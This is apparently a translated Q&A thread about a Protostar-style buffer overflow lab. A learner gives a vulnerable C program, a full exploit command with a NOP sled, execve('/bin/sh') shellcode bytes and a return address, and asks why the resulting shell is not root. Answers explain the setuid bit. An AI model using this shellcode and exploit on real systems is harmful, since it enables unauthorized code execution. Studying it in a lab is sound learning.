Estou tentando explorar o seguinte código:
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char buffer[100];
strcpy(buffer, argv[1]);
return 0;
}
com o seguinte comando
./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")
A primeira parte são os NOPs, a segunda parte é o código shell que tirei deste site e deveria apenas execve("/bin/sh")
. A última parte é o endereço de retorno. Meu programa foi compilado para um sistema de 32 bits e com todos os mecanismos de proteção desabilitados. Quando executo meu script, recebo
process 15377 is executing new program: /usr/bin/bash
o significado bash
está sendo executado como o usuário atual e não como root. Onde posso encontrar um código shell que execute um shell como root? Preciso desabilitar algum recurso do Linux que impeça isso?
Quando executo, whoami
obtenho o usuário atual e não o root. Nesta “Primeira Exploração! Buffer Overflow com Shellcode – bin 0x0E” vídeo o mesmo script é usado e o acesso root é concedido.
Sim, é assim que funciona a ideia de “usuário”: você executa um programa, então ele é executado como o usuário atual.
Existe o
setuid
bit, uma propriedade de arquivo que você pode fornecer a um arquivo executável para fazê-lo sempre ser executado como o proprietário do arquivo (possivelmente root) em vez do usuário atual. Por razões lógicas, você só pode adicionar esse bit a um arquivo se já for root (caso contrário, não ser root não teria sentido - você sempre pode elevar seus privilégios atribuindo o bit setuid à sua cópia do executável bash, por exemplo ).Esse não é um recurso específico, é literalmente o que é a ideia de "usuário" desde o UNIX dos anos 1970.
Você pode ver na saída daquele cara
id
que o grupo é root, mas o grupo efetivo não é. Portanto, o arquivo vulnerável já foi executado com os bits setuid/setgid definidos! Verifique as propriedades do arquivo (ls -l /…/stack-five
) e você verá os
bit sendo definido.Portanto, não houve absolutamente nenhuma escalada de privilégios de nenhum processo – eles já estavam lá desde o início, mas agora você pode abusar do processo para fazer uso deles.
Não, você não pode simplesmente fazer login como você mesmo, fazer coisas e obter um shell de root (aumentar privilégios). (A menos que você descubra uma vulnerabilidade no kernel.) O que você (teoricamente) pode fazer é atacar um processo que já está sendo executado como root. Portanto, você poderá obter um shell de root se executar seu
vuln
programa emsudo
, ou se fizer chown para root e ativar o bit setUID. Isso pode parecer trapaça, mas você está simulando um ataque a um programa de sistema vulnerável.Não é evidente desde a Primeira Exploração! Buffer Overflow com Shellcode – vídeo bin 0x0E ao qual você vinculou, mas a única maneira de funcionar (a única maneira de obter os resultados que mostra) é se, como diz Marcus Müller, o
/opt/protostar/bin/stack5
programa estiver configurado como root. Consegui encontrar esta afirmação:em Exercícios de exploração – Protostar – Stack5 / Nossa primeira exploração em falhar silenciosamente.
Há uma pegadinha: executar um shell como root pode não fornecer um shell root. Convido e encorajo você a pesquisar isso. Se você quer ser mais do que um “script kiddie”, você precisa aprender a pesquisar coisas. Mas aqui vai uma dica para você: tente alterar seu “código shell” para que ele seja executado
/bin/id
diretamente em vez de executar/bin/sh
. Isso pode mostrar que você obteve o root, mesmo que não consiga um shell de root.